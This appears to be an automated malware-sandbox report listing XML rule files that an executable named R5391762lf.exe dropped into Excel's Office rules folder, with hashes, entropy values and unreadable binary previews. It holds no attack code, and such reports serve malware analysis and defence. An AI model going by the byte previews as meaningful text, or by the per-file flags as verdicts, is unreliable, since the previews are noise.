Preview:	<?xml..u.Bt....4.;..d\.....x.R.I:..;k.I&.7.W'I..@3.)UV..?}...+.o..`Et./r..p...6.,p,XnZ...Sy%........G....jO..dec....3..J....f..4...M5..x..9...mq0....a.....pR.h.....k6V...a?ot.._G]..D..})......2..311..R.{....N[...).n../.wWB...4Wr.=..a..o8......j,hL7r.a..C.{...p....k.g..G..5....b.s....j.......2..V..%...U7..q!.3.5.+...Z.-._N..A6o...Y......{h..l..QX8/K..3.6.../D;......I.....F..#r.Y...w...X..\|.goH..PP..(H.}?..\|.....x.7..i+!..Q4Q. b.>ZS7.S...ogqwet.D.2................aTLz....&L!.D~..t.-.:.. ..B.&......I8.S.....;(IMK..................."..%..t..((.q......qk....=..... (.e.O..Z.z...:/...~..=....W'G.d...(r^B..S..{.x..D....H..V.....2Z..^S#..c7<.O....Eb.19v..#e..G;>3....%.....#s/f>..R..3.0:.`,F.T<c.>...ID.......W..LL..Qt...uk..............BD......q..+L1..v....m.....e.zd.#h.-b.N."..u.#:....'i......y...SM.........../...d...lM].P..".\|....\|.....TS.D....\...u....9.slP{..B...."...}.iYR..F...5.P..,.......wIC5.Y~..8`@Pd..d..N^.k..N...m..b..F..L..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180200v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1013
Entropy (8bit):	7.761607628847626
Encrypted:	false
SSDEEP:	24:aSbmQtgBsY4qrELTN8czC4J5rJFSk+tPHIdwIkjKgXq8uWbD:aEta4qrO9J5rJKZew5mgXFuED
MD5:	3012538F8A81D6E7E7E3E088F800069C
SHA1:	2878AF52EDA513330E19FBC98D97A562E3A3A3BF
SHA-256:	312A7BD006091D0BD9BA561469FA3D656D1CB6029A613524AC684221572432BC
SHA-512:	5CE83C4099380223ED16CE8EBE0CB1257496CA38F034B99506B3AA33B69029F59791B63FD43B94F12ADB2CE2AC96A19F3A9ED5C82AC1B148F3772516CA2D590A
Malicious:	false
Preview:	<?xml..i......c@..........O..ACO..,a.W...............6\|.i.80....\|!g%.j..8.@..2..H......^2.R)@}........$..-ixT>.<.....l.Urhj.1...l.....J...<.E$.(...`1.].V3..U..j7a9.."...4t.&.....~6..w.JB.l..D.......B3..,\|J........H..,.....+..7(X...&..C..3af.Z.R.J... D....H.....zl..u.I]+bt....J.....lZ..-..m.g......(......n~..$....5.z..z...DwP.o.lw....ji"}.pRS..0.Q.K...@.d..d...-..........=.R6in.u....?.Q.....%L....9RM....56.6......8!.....G...Q.....;.=...E%...odUn..>..f.....[NE.r.M.....%POO.X>5....`...v;.s.4...UVj.-..o)...R.x.V.".?.C-.7..b.".p$D....g.q.....!......j.z.uR.a.....;L....k.ZE......7.Z.GH..6.JD.mY...T.....?;o.U......}/...6.Q..q...>8?.0.q.+.....l.....U4.._...0.g..Fe.3..r....g..7............8G..r..{.w..MQ.Y....E..[d`...r......r.Y.G..f.L.\|.`.P.....;....$M.....V.^..2.g..0.C....).P..c..n\|J.....k{,.\i.IK1.......[.....5..Q...<}..9.]F*..S.........LK.`....-^...\7.8......X..1.C.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180202v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	704
Entropy (8bit):	7.651449045373786
Encrypted:	false
SSDEEP:	12:AsJJTxLJTk1CXvhuiDDD/IZiQE2eZqADEga3Irx0wX8BpPKXqOTuWcii9a:AKdxLumsi3D/1Qh2qiq4F87KXq8uWbD
MD5:	63905764728A9AA18984DE2B96172B5B
SHA1:	D50236203DD32ED9DFBC7461CA60F59EEC45CF4F
SHA-256:	58ACB16FD153EC9C532A190E413D105C9EC0646D8D0E7D7EF75DE12892B5927E
SHA-512:	989618562992F110C530882465E04055C5E17F014DF5EBF79A490BF9B8800678C70F3F071E974166D2E355D7F4D74BE9D7BE28CEC30DC192271C8B0671207D91
Malicious:	false
Preview:	<?xml}..'.'........q...$....dU8...@.{.-..k.\EK.0.[+..&.u,v^,..=$.w..p,)F.ku.A.dvk_d.2.4...;H....u..,$i....mC+^..L-g..\|...aZ0f......F.q....v.pwf.....!.....hS..X..DZ...v.;....../(m.....1..R._..dN.....0bD......a..R...!A...AVr5.A.>..i.]z'.E..z.....7.'.\GQtW.../..H/.xFDw...W..F.Oeo..r...u..\.......b..J.lt....3%24}.......\..H..z....(.B^I..v..O..D......`@.....0.<:......Eb/.W.\|....`R...~.l.M...1GX^N/0@.3....H.h...C'.s2):....D]......\.zZ4.o?....,dN..}..'sqON..:e:.2..+....pl..*u..h..E7j\|........7,..g..j..p...s.]..Cw.0..{..O.RY.;a.V..5.`..h.......e....y...b.}.v.[l..tg....3.j..N]Fi....{.......x.fM...(..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule220004v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1172
Entropy (8bit):	7.839155775075003
Encrypted:	false
SSDEEP:	24:9c5Sg9buDnF/CnRuH3GnpfZYb6UX8oFHiFaDqfmlV7GaUw/mN3Xq8uWbD:2kg94RCnRO2pxwVXqFaW+7RUNN3XFuED
MD5:	1AEEC5B932F8C6DE99D714624E4C6751
SHA1:	88D58FB64905703255DADA4BA4A8E51F763E7CB5
SHA-256:	83E11A0403398D202D0C0E1C2CEA6D6783CAE3C9316BF8FB5AF5B018F4B91E21
SHA-512:	89AB46C8DEC262C51B6E8DFEB1B97D3157CF10A6713345D5EFE42DDEB6E0925EF699CF36A7A4237BF8A47A9582C80C3A17923B7B96F6179210ED83AB700A0C4F
Malicious:	false
Preview:	<?xmlIN....p.0...//K.....R7.../g.9..`. ...$...ER6...$h.u....?.B.RG..l./.+#......y......n..5H...."......jB..c........p.4..5<.!=L..`K.l..:..{,.3....9...>0....f..'}n\x'...p..~..DL.p..<.E=...}......l[........m.5(.A.....@..]....J+....+AU....2.{^.I.f.h.g0<cz.s%r\|qe8...j{O+~...eF.."......C...Pr..l}~+.],3..S@...o...4...P.....6.0....!2@b..~..;.;...e..3:.jO{.uSF;.a.vW..^.M.1...-.F....T......."..i.8e..-....[.tf]...4H......`..4.u.PG...i..<...q>..].HX53.[....E\.........=.z.raT~.z.J\T.q.............Y...\.....(..L.........5=pd2.%m"&..t....A.%...L.a...?...0S...8.y..k..jr../ti..........=rd....f...c....Ec..8....,Q.?Q.....s.ys.V..S.B`.o..~"<h.:....R`.[.~.a......n.AK.M..B..QM...2...8..d.D`....H...[>.o....%.%H..0.>.....$X+.W0.>. ..S.:D...$.pr..R....bz..^...A.lN.,2.'i.[........8N...e....p...=......~\|dB....m.S.(.`u.\|.....d...`...M....h../..:.K.~F.V..^...../...*z=..)....~....Bm=..........a.H....&d..Z.A......v...ht.P....u....$.f.......B...P _..?w..=a.k

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule220035v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	756
Entropy (8bit):	7.721344180183503
Encrypted:	false
SSDEEP:	12:QW+6laazQ78HeeAefuSYNivWM5JPGpIL4Pn1KHbTh7NtQVe6wcXIdXqOTuWcii9a:Q+Po8HesCQt4NemecAXq8uWbD
MD5:	07921CE9CA06C056491887C3D275D18C
SHA1:	74625264B1C6A83BE450E5E95AC8DF846B5E89DB
SHA-256:	1E5DC882BF1E464D379EBCEAF2FE7A400058F15FEBB1A35A7143F7893291DF3C
SHA-512:	E1C890A63C3B994A014083D1CD3BE88D0A294E494327A7C5D96457BDF92C681CDE40B4302CE4013DC3B23557FFF214B032010881D2824E8BDF1471711CA90B20
Malicious:	false
Preview:	<?xmlbx.......^...x{....Iy.@...#..........w....'..[2>.P.S...j.......<.6G...@LP...I....~...l.#.%.\0.eDiNa.._-.I^.p....+.m.Q.!nOh..?G..ib%e..2.....sy......I..U.(.o......&c.{.g..GG...."i.g..$#^..1.y#{.[....#.o.Z5s.ZyToC.\.=....D...+.7.A .t..r...6...K\|.......b.....=?.W6vC..o..D.....R"U ....t=3...!.,.Z.]..._../...s}.W{q.)\|..y'mU_..t..#(d.o.....&"..9.zQU.t..........#...Y....k.7.Q.3...5..H.......U.f.n).?.M...`...ar...s.eZ..1..N.%......:.b. 5.@.-/.T.&.R.1m.V2.w..?..D..{.F(._#y..3...=c......4.V..ug.m.g/...d..:l.Z.....2.a,ia...x.......'~ps..u8..p...V....b.S.o......mp.q...@8P..j....(\&......'j..f.bJ.....5..v>t.\|)..Z6+....[. .g.....8p...doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule220036v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.69768733322512
Encrypted:	false
SSDEEP:	12:pSS5vDOfglOXAceIpjEE8Zb1Ak8yCBMokNb7r3Ae39Ww/kDXqOTuWcii9a:8QCfPXmqNIAkC/e7AHXq8uWbD
MD5:	6D41D246332441432B3858ECAC24ECCA
SHA1:	E67BBB40A103C10B711D1D18213206DCB91863A9
SHA-256:	69728E423A21F6E7DE13616F08F85107F388784D81DCD33BBA2320225A6201F0
SHA-512:	B6063248195372F20AFDA9A4EBC2EDC24464F1C5214080DC3CD1CF9E85DEF9677AD9E6568EB8E080965E37D92C965BDDC544C5EDC44457BA84F04980D2D470E1
Malicious:	false
Preview:	<?xml..."...7q......W....A\|...;;.W.....]>......Y\.\|_.E..'...C...q..o....n...;T..6.\UPX.&......{+..P!.y..`R.Ys..g.F@.;.7bqD.."r.0<#..C..y..c.{...z..U..:Q.].'._.+..~3.......%.kN.?.\.VMC.-...._.+~.D.>....&2.....YGE&.X#.d.n..^.7c...,k.kr(}...j.XB..3..>..b_.......QGS.vx>K.$.!....1.....U.5...).A....I.f n._.....Wj.q'....x..S.a,/.=...nKv....?.-.Y...y.8W..{.8=.E......$3...,.T..>..M[.&.a.Car......;tm7.=.70>..E0>~(...6^..E...$.^...`...h..SA9.4.N#..<..n...0.J^U.xd!.}.v".........S.r..zf.. ..0.)..2[..\|.$!`.J..9...&.!..h.a...p.\|..v!7(.B.V...u~%.b...2...*.+...G.e3...=h;.?..H...\&)..%...[..".Zr..n..5_8..r.....@r.......w...4.....B{=..C..8.PUF.L...Um..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule222015v6.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1692
Entropy (8bit):	7.890873358733366
Encrypted:	false
SSDEEP:	48:kTDmpNyK64AoEhDU498+7xc+QBBiz0Xm0zdebmZ4DXFuED:amyKAomDr8+79QBBr20QSmLFuQ
MD5:	E07DBE634600276B45BCE215AB8CF2B2
SHA1:	73CB30FA0D86B83964A6BA65A4E4B4460BEEBF8F
SHA-256:	18E2F8E5E43BC42FEEBBF53FB4BCD9EBE66BBFF06E3857E1AC5EB74E89515A90
SHA-512:	51A227A0AE0815B3B1A6D656E375B90EF76AD8734DD41303A588ED92604640505082F62EC408EF9EEE776E7FAC81F9C2BEF5607A6624499F4E006C524F1AE93C
Malicious:	false
Preview:	<?xml;. 9...^.'.n.km.jI\|...Fx,5)".J...!...Z;..Y..k<...i...1.(.+F..x...).z.Fd.........c........u.S.B[....BtX(.`..8..$...L...hMs...8......-9 7..d...2..T...SQ.<........r.nT.@..kx..P.DnA..O....P.AMI....g.O.bA../1...dK.IS.uU...2~M.........5%.......b.$?...D..z.0(..X.5@....t.s....&K.zv\|e....%......P.r..]...l..w..H...o.`.u<....'G7..>C....'#..Ph..B._D."Kn^L9.u<.P.L...p.\.........z.yK...K.....W....u...nC.....X.>0..R...&.3V.i.k.N.6t.1.>.....p..g"...G"..x....H..$.b.~!..6wm...`c..#.,.H..c.v.e..0..~.`..M.@d...V..k.....SR....P.O..K..-..#Bo.8......).Wa...r...=.}..VC\|^.Z...f...ppO........... .M! ..[.CUJ.(..Q.\|..\...C*..c...o.R..U.8...h).s.iI..K.......m.R\|f...fa....D.Y..h....V..8N....P.j..E.}v...A..I.."!..Ko...3...A.e..\+.=N..k...cd.t.J..J.l.?..Y\-..H...`..0"2@.]]..D......../.2...~..vE......i~.b....@.o.w.;"...8.b.6.B..U...h.`+....%.......o.,...W...b...._.FD0ng]e@2...j......j.......l..d..'.A..'...oQ....C..........AgU.r~....)..+T2qI.4.t.d....\..-W..>....P.0:..$...m.c.Z

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule222042v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	882
Entropy (8bit):	7.781293446166976
Encrypted:	false
SSDEEP:	24:UaVtoIHjx/4l5HMdLlbtSmth2hMo8zXq8uWbD:UaViIHlwTctSw2wzXFuED
MD5:	9C37F12A21C36B95C7531797D93E3053
SHA1:	969819D57EC4F4949CB62F5B73F30242893A8BED
SHA-256:	7BBDF07CC467E38620848EC730255BD2FEE78308927B60A6E1D97B6365144B21
SHA-512:	BDDFA6DF42546224DA22B1257D5D2BB49D88EAC5AE403EC8C3B4513A798C4F55CCA938D61B8F058319B1D920944CDF000CE5AEC8795ABFA42A59C081534C7C9F
Malicious:	false
Preview:	<?xml.......!.u^...].Z...@o...N..jh<`.y..&v........T.U.j...)..+"..".}......f.Uy....@`..E.....)..K......t..f7..?w.... W..-.IU.&>x}IC..N\|po.=b2.{pi..........._$..d.P.]5JC.q.$.....E......RL.... ...];....IS.:.....P..Y.>.1......>....-.....9y..LT.._%(....[K.....Li..%..(.5<....j.w.E`.,..A+.M(..^..10.{.0W........A.Ugq...e...2..i..5.RHcoE.T....t{..!..n.......?.f^@.\|...h2.g..u..."...E.t.F.....M...........5.1].b.7.MF..w..F.5...]..S....2a...E..d.r.%w..Is..3....]j..3..e...57..."E:z.n..n.\......5#.9{.."zot..n..C....#.].'.;..E.......S...7.Zg.........>.]....).(...q..W{.._r..29..o.F+Wz..2n\|.W."..T..t.i...?.F...F.y...s..`8.SB..0..;;f.9..N8.....N...S&o.'[`..xvx..I. .G...a...u../]C........1.L..H..-V.R...M..ZkS.^Xul.L....&P...0c.G+...(a..]+..F..'.c...d......JqN..Ro....(doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule222043v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	953
Entropy (8bit):	7.7872992254034985
Encrypted:	false
SSDEEP:	24:FawKIz7DlKFJUpo0LpHEIfmh+G0C0gbAHf/+wDWG1KXq8uWbD:F7KIzUHGdLpHZ+GcALWGwXFuED
MD5:	9AF819F6704F8760D113E743EDADC105
SHA1:	8DAA14B7F09C02814EE8732C62C25B4F6103A7F8
SHA-256:	EF46FEBD1933E70A6BF18B0D7813C92DBB030BDA48226A96FA8FAC4520293070
SHA-512:	90F992E34F11C6DDD0C1644EEB508127B1A8C2A953180422FD475305F2E1B8F80F4F26857FB024CA27FB5893E606B2258622C9422B0901D24E4BF112FCD6DF70
Malicious:	false
Preview:	<?xml...(..$.8..7'-..-....p-^...`....h..v....%i......Q.r..k......K....$h& .bR...H:x~.OX.....~C...h....[..S~1d[.J...N..a.W.5.f\.e.P.;.p.0.}..P............b..;..O..@........I..l.P._w.......&.xK....-....].\".bR7..`b.&`.L..\.XpH..3..?....7.H.#/...-..{..=.np....h..b...(...k.W..P..`fY..WF/7lS.{W...f.......-=-.Q..a....5.......z..Y...%......W.Ci.#S..\.W.,....v.d..l. ..T.a..e:.. \|......XI.....X0..M..}.r.R..%.T.G..]_.j.yzV.].A^.*..,.=f..q%.agZG.nr..y.E.-1.\.R.j.q....~A..F.k.S..O[P.5....V....P....'<1.f.....K@v.....w....&.W6......`8W.....Q.....&W8.R.....vU.w.....\.y...".s...g..l.."-..x7...$....c>y<k].e.z.#.....S.E..l.F&....Ah......G~..'di.K.l...n..X....@m...e..2.;....A..k&.y.j.\|.U.sP&,JZ.g..N..'.+..H....6.....r2".:.J.n<6.ch...f...)....Yc....&......b.....(..DFwI...U..B.nNt&.1.2...$K.....tPy......49...BpA.#....gY..K..b.^..Yx.he.(j..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule222049v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1139
Entropy (8bit):	7.798636193350349
Encrypted:	false
SSDEEP:	24:YNdjRrLBgzORLHPr7aZe2MlF/iWIKFhAkaoSVXq8uWbD:udlrLBgCJyZfaF/aYSVXFuED
MD5:	F70410AF02DF0F6A79058B24EC718599
SHA1:	E4F26233D0D0405F9DE3B58980F4B604971F0A76
SHA-256:	2C0F464BB239B8949B0529FE674D908247AEEB7301EBC2FB8CB1ECDBC564F848
SHA-512:	F7527AF24D7F25F319C2F3BF2F0DF8FE66132538F9231D2EDEBFAD833CF622CB2F53C95FABBAA90AB2D011E7F97FD5056178218C645CF43E37EBD46E211369B7
Malicious:	false
Preview:	<?xml%...w.....O...?.....e...2;pRo.,...)Z\|.[t.."WG..l\..>.g..C.....B.<.....p.+LQ.tF.RC.M..<..j..M.c....9..8...#-.F.x.w.{..i...oy.#.G..z.N......#Vk..#..1.........H2.".....+...@.Q.UAmd.j.p.8.+..m.$..~vX...H....L.<.<.g.$..IN.&...G...j....e...c/AT...S.....T..ka...t.....+..n7...f.........^..;..L.Tq.o..y....g.l^....h..H.}Gy.[......0....-..\|..'........6....~....@j..Px..!..o.$on%.T...D..T...n.r)0^..ZAU31~M..>:.&e..N...T...[...(wG.PM..H.V....Fm.j\|.....S.w.G[9O'.{......E..+.....w....]0C.......b..+\v.Q.u...(.h.l..F.>B.....z_......?.Hr. d..I"v...LD..X.W.7.[...Q.....q.......i5.+...Sd..T... l.......f..o....$...> ..%...A.& [.}.j.q....Y.2f._.?..$.T:Z.@IC..?~..p..S(...Cm.5.}lV\|..<...vZw5.y*.M.'.!.3.?.9.....Q....6~....\|.(..).M..p.$).J...S......Mb.~...<.Uy9..4:....UH....lT.i.........X .EZ$...W.uD.w#'..K....' .3.H\|.Q<.-'!!....'....r...&..E......\|.M...IVsN%...&`.)K.{..m9.E..,a.;m....#...b.R.A?..cH=..$F?...#.H...^.v....6.F...n..V.X........fLH.......C.#..T'z.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule222100v7.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1678
Entropy (8bit):	7.876027724479193
Encrypted:	false
SSDEEP:	48:xA6FpvEpcQEDvSYt0MVJ4zH+T4m7pU9BBwXFuED:66FJEpc9eYt0MV6k4aGBGFuQ
MD5:	F45BDC6853CCD88B8C4E48C78F681DC5
SHA1:	4270915E6FBAD43F41E1E35B019C37ADC54DA5FD
SHA-256:	B2FB0C06388712C8FFED99BCE4D26C92686B86C7A8F1A37A96C85F893420DB43
SHA-512:	2EB55B08205B062BF09E8DEACE1B52078E8B02C6D78035655F2955EBEF159F36AE0A130CE71164A3F4051959F9937A17C7E6CB2941AFA6C25A58047F3509D6CE
Malicious:	false
Preview:	<?xml8t.FIh......Y/.M...C[}RSo....u.Av.H3X....w.Ml..K...^.q5`.O^ .......].....=......?\|.<..r.-.E..JT.J.k#4.e.3.Fr.a<)#.\...[4.7w./.-.k..."..~+.3..6N..^.8.......d..ZL..1....w6........:...h+./....D..@.4..q.=.\|...l..8iP....R`5#..ywr..K...,...Qd..!.p2Q..@....f.m..E+g.qL[.y(l?......;...ou.xA...%aq...b.3..9.....2....>}.._v3{g...../Le.$.B.r^).j.h.-.Lv.E.e..a...38..A....x~m..4.,=._..,e..d...........Jc.0..GH.%i..6..w.......;a..4.d....q.....P......#....[..,.6.B..y...u7..;f.....2c.'.1a..]......X.n..i...C..e.2.#c...).m...`..E.......gC$....._DE...IH..s.P..S...x4...+..6.2-.lc...../......t.+N.sJp.`y.u]~;.....J.........`.J..Dcf...\..r.x._.../...W.MR^.07.Z..B....#.t.>]..p.=....7o..'.0eK}.ehg1.Z.-....u=..Q.....{..rl..[z>........+..F....D.f{......<P..j..=&..... ...*. ..d.i..a.\|...s"....$wm....!s.v.UBlq.......A.D...V..L..F.l.ZZJ...A[..3J......b...o....9.I.2s(.+.......`J.:.1Sc=1..b..P......q.W....yj .o..7..m.l.p.oCj`]D@..U.S......+aU.g=.\..I........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule222101v3.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2075
Entropy (8bit):	7.911567533316294
Encrypted:	false
SSDEEP:	48:AEzEmNZ2H3TS81eT7kHLuFoqTylVANx4j9gz1/DZ4S1vPGdrvzmXFuED:AEQ6sF1e4SOqTyMNs9gprZVGhz0FuQ
MD5:	01B064E11A9C283F699C0B8292F3616B
SHA1:	1ED661A662E6F2235729BFDAE57718C81A604BE1
SHA-256:	D67BDFDA74FF3A60B2FB4B766968C41FD6BADE6AD5DC41942FF4020C134E32EC
SHA-512:	71BF2909A07ED65784ABD96982F19440BFFF2FDCB244DC1FC27D7D6E3E444DE6BED3BAB403843A56BFF396E8816D979A8FBF60D9F2FC4F3FC7E894797D148A2E
Malicious:	false
Preview:	<?xml...8..5.5.2....Wq.@.#.A.<..x..)DW.....Oi..(.eu"j...z.m@R....L..'g...g./......n...<.?...i..H...4.`..]7.}D..9.@.g.....U...@\..r.p..D..[......$FM.V..E.....(}.s.CC<..x=.......,..za..Z..z.7.5.9..Z..f0.GyD....{.r.WVq....\|9qu_!4.T..U./.8g..W...!..V..t?....(c.N`kcd+.9....k..C&.W.../.ZyK.9`GZ.\|P.....C.j.{..D.#....E.....M;....T%*.T..z......Nk.)...............U...(....p.S..j..lw,.&X%._k.!...g..C.. #....$...L.$P...-...I...L3....._..e.q...V.....t..j.....I...l..j..].....t.........ik.....<.\R.d.iT..k..v..~.a..UO..8..q.V..P..@S..[<S..!FX..O...jh.Lg...D6...3.......h.x.{M~."...+P....<g,.....oU......(..o.awk....W..k..r3.h.z.?..L.c...-...f.............._.._%...dXD^!..<..J...hv...)#..z_.\|Cu.....m.-,Q~.[._...&....w.lo...Y.2.Mv..b.B">\|.z... .)....,8n.....oE...n..\|.ms...a.....^...UI..'.W.w.F.tv........!..?.8...l..:..Qo..g..8....x.i../;~_&.;.j.L..pO..k4a.B../..D.....9.)d`.?..%-.....,TO.Hk.4rn.=.7..8.QH..;.+......Ot<QA;..............e.....=.`Jq."M..I.8F....E.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule222102v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2088
Entropy (8bit):	7.890986484377474
Encrypted:	false
SSDEEP:	48:TjuCiEinHLCT74SIN938sDIPJ3Hnl2TH/XrGT5gL6KwXFuED:TSlEinrm74NqQIPJXnl2jXrGdS6vFuQ
MD5:	9403C8A6AEAFB3F5A43B05FBD7B745C4
SHA1:	A68488708901D2EF08E689CEA5564C0D82FFC9A9
SHA-256:	C9720058A2C79A3B84FA137F632DCE41F202434ECAC59EDB47B6ABAA5412875C
SHA-512:	EFECC73EC285386D88C0C02057E8864228F6B4F352A34E061B7E531C15DB08E68BF53BB3BCF02AD044AE37E7C14A2ABE76DC85BB910EC008F894933BE9DAE12F
Malicious:	false
Preview:	<?xml.lX.%.."E.j...@........18..,.......{..c..(..{R..[..P...I.a=....]u.?..&...../...z..S.p..UAPO.R..0....H..'q=h.(..q..0.b.{..PV..u.P..W.H......i ..0g."c.E.i@......R.6\|0..l.........Mx;.9@..u.7w..\|}..-....p'......]\|......m`.x..&.r1......w..3.G..$..~.....[..r....N..>..lLp.$.C.a9xZ.Pr..o....t$Eg....^.1.....+.F.....Mdq.N.9.?.!......{....F.V(K...C.r?0M.\.~....\....t&...#.t...C..7.y./&mv..._.Rc... ...P.J[@...u.`..o.2za-k'\|..$.s.-.-....F..,].......:..!%.'..j?y.~..xm...g......B.'..>5Z..'.g...;`....l.P...t+8..2..]:.uR..W +.!...f.....{...^.;!..B}h.....60....v...(.A.vf...~... .fe...=.-.C.{0...D....58.......=."T0o7.$.0.\|.....L...E./.h%.j.5z...G.-../..M^.t.{..{..N.[......v.Ej............i...z.....%E$..ifQD...'GY%.tS.F..4V$.h.vj.9c.V..V..Lh.v...$.D......~.'/..B...mvYxR...vJ..O....[.#.(eK-.b:..hi.........}c.nI}Q...,;...Y`..G....gy...[..'.&.7.(...E.Y.[....CY..t.4.......<.)v. y..y\|~.._l.'...o...M/.!...K=.phi..Poj.L....]x.c=....(~).j.\|#.H.P.....:.q...v..@..c.6...{B.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule222200v5.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1563
Entropy (8bit):	7.8658242364527355
Encrypted:	false
SSDEEP:	48:527MxIvr5Ze0/k/H9MUHfhEgFGs7XFuED:wMaTe06FGcFuQ
MD5:	12E9DE553BE32DAFD311DD78949808B1
SHA1:	432A3BCCF632C98AE90A5F388B61D70113F5A7E0
SHA-256:	2DDB61D5A9E3BA438FAA1A69A3614A38CCC0F8C2780F12D59BBBFCF671DC707B
SHA-512:	7F7DFA1B2C2157928CB48DE1918D09197A090997325464EC1E459382DF8E777F30B23295E8C9C1669D05C4D1A27B08520D7FAB438B56F1398055858645516211
Malicious:	false
Preview:	<?xml<u..<F.Im$'.M_Hu.t..s....F...Ki.:.^.Y...4.zb.`O/."..m.gPz.P...........H..6..._.=..W9...F..UX.g$....9.q.`<..).3.TP:.]`S...N_.4?...J....]4...k..>%K.@.`...?=...c...m..K..].o..s...w's..vR.IC..,..n....\|....3S..i..h..J...g..~...u..8#......N..=..."..<G.1..jO._5.Q.....H...m....vB.5..6...n.rg#-U.ki..`]..XmU../.j.<.$B...K..O.3.._`.Y=.\|.L... '8..D}.mjq.!c%.O.Y.W..o}..2.....D..m....H..$+>t....~..B.... ....1.5sC..&..o..B.C).Q".)....G..P.{?...'7O...Gw......P.[&...m..1..$\|.M.........36V...,.Q...&.Z.."D.!.9.?...Gr,>W.T..Y..KU.....e......k....S...).G....;I....~...$}cT.:..}..0m...3,.1..18Q.."............C{Zl.Qh..5.......xi..9..42k>.l. .)......v......$.....G+.....7K.....RR....T..%.9.......b.C=...`.R_G%J.....\|.k.J.c.XE./.`.n...n...!g2..n.x..L..D...K..?..7I... .....%..L..K.P.M......H..C\Z=........D..Ee.M....6..7.....I....$ygO..&..!B...cQ.../..\.u(...f.C..a..5.p.A.....,.:.i.`..[<.a.Ax..r.H\|V.2....'...........".........8.J.].w...97...j)plQQ..%...NO..F.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule224008v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.721585246183955
Encrypted:	false
SSDEEP:	12:tRiHdpGR8SzOh/cM+Yr//YlEEWD6mlzB9qZNxVWakthbCu0zF0IX9DThCXlF3x1j:q/GD+c/wXYi/O099CrWRHmPXphAr3UQ5
MD5:	79FF5AE8F99BA301272F038FDB11FF1C
SHA1:	71F230BD3B34D10AD9F67E77B440F2BFF0C658F2
SHA-256:	E2FFA79A6C105F0EDAF5BE75D6AF357AB9FC5310272D720AA3EDB8D3E49A9034
SHA-512:	E939BA8674D915F43041B76AED765B0E479F02184555DBACE2D0717866A4BE5F7DB6719ED2B4B502F095CBBADBD97955B4E428867BFDE83371968C41D692FDBC
Malicious:	false
Preview:	<?xml2..>..bm........0Vx..M.......U.bsT.n...q.).a.}F..j.].A..9.......o\...:f..-a.P./.8..:v..TH.zO..SQ...".A.`<.Rb...(....s3qZ.D...u8...N......&.\._1Z..mNl.!0... .l..3.V^...}{f!...~.z(c...[...j..w..{.....u.Y.S...}.2..b..%..&)..gSm.9....to 8.+..>..a.3x.i'..3.....n\...w.U..s..G.0.b3+1/....->#..........W....(..I..g....jk.T..-h.f....@....X....9..^..7..J..?68........I"51=G.....IQ.Z.E:.x.M<...-oK.....vz......&.W....u..l.hE...}{.C...o.Q..c..+..K.....^.,.p....M/I_.....(..7.x......D...o.K5...8.I...5\t'l....\|....l.m...DaSe....t.EG[W].(..t..O.....fz.v.4$. .r../..Gq#.......h....$6.....bW......u.G..dr....;.k..#......,....P..0......5...S.^.x(..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

